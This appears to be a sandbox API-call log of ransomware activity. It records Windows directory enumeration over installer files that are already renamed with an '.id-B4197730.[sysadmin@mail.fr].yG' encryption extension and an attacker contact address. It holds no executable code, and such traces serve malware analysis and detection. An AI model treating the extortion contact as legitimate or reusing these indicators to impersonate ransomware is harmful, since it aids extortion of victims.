	[0133.994] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ebd739, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ebd739, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99014bb0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.994] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0133.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.995] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0133.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.995] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd3c0
	[0133.998] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.998] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a02c966, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARAME~1.YG")) returned 1
	[0133.998] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a09f0a4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 1
	[0133.998] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a09f0a4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 0
	[0133.998] FindClose (in: hFindFile=0x5dd3c0 | out: hFindFile=0x5dd3c0) returned 1
	[0133.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.999] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99fe0595, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DHTMLH~1.YG")) returned 1
	[0133.999] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ee37f3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ee37f3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fa2446, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DISPLA~1.YG")) returned 1
	[0133.999] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0134.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.000] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0134.002] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.002] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99fe0595, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99fe0595, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a1aa6cd, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARAME~1.YG")) returned 1
	[0134.002] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a006756, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a006756, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a0c5303, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 1
	[0134.002] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a006756, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a006756, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a0c5303, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 0
	[0134.002] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0134.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.003] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0134.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.003] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd640
	[0134.006] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.007] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99145e1d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PRINTI~1.YG")) returned 1
	[0134.007] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x990ad518, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROTATE~2.YG")) returned 1
	[0134.007] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9916c0d9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROTATE~1.YG")) returned 1
	[0134.007] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990ad518, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990ad518, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99145e1d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROTATE~3.YG")) returned 1
	[0134.007] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990ad518, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990ad518, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x991394ec, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROTATE~4.YG")) returned 1
	[0134.008] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99145e1d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99145e1d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x991b8451, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROC103~1.YG")) returned 1
	[0134.008] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99145e1d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99145e1d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x991de6e7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="RO0D62~1.YG")) returned 1
	[0134.008] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99145e1d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99145e1d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x991b8451, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROD38B~1.YG")) returned 1
	[0134.008] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991b8451, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991b8451, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9920498c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROFAE9~1.YG")) returned 1
	[0134.009] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991b8451, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991b8451, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99250e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SAVEIC~1.YG")) returned 1
	[0134.009] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991b8451, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991b8451, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9929d2de, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPI~1.YG")) returned 1
	[0134.009] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9922acae, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="STOPIC~1.YG")) returned 1
	[0134.009] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9920498c, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9920498c, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99250e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SYSREQ~1.YG")) returned 1
	[0134.009] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9922acae, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9922acae, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x992c4723, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SYSREQ~2.YG")) returned 1
	[0134.009] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99250e61, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99250e61, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9935bf1c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WARNIC~1.YG")) returned 1
	[0134.009] FindNextFileW (in: hFindFile=0x5dd640, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99250e61, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99250e61, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9935bf1c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WARNIC~1.YG")) returned 0
	[0134.009] FindClose (in: hFindFile=0x5dd640 | out: hFindFile=0x5dd640) returned 1
	[0134.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.010] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a02c966, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a02c966, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a3e6a62, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="HEADER~1.YG")) returned 1
	[0134.010] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x9a622e42, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NETFX_~1.YG")) returned 1
	[0134.011] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x9a1f6c0d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NETFX_~2.YG")) returned 1
	[0134.011] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x993a836e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x993a836e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x998930fd, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NETFX_~4.YG")) returned 1
	[0134.017] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa0bd305f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NETFX_~3.YG")) returned 1
	[0134.017] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x998df78f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x998df78f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99b1ba34, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NEDB57~1.YG")) returned 1
	[0134.017] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99b8e116, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99b8e116, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99e169f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NEAD37~1.YG")) returned 1
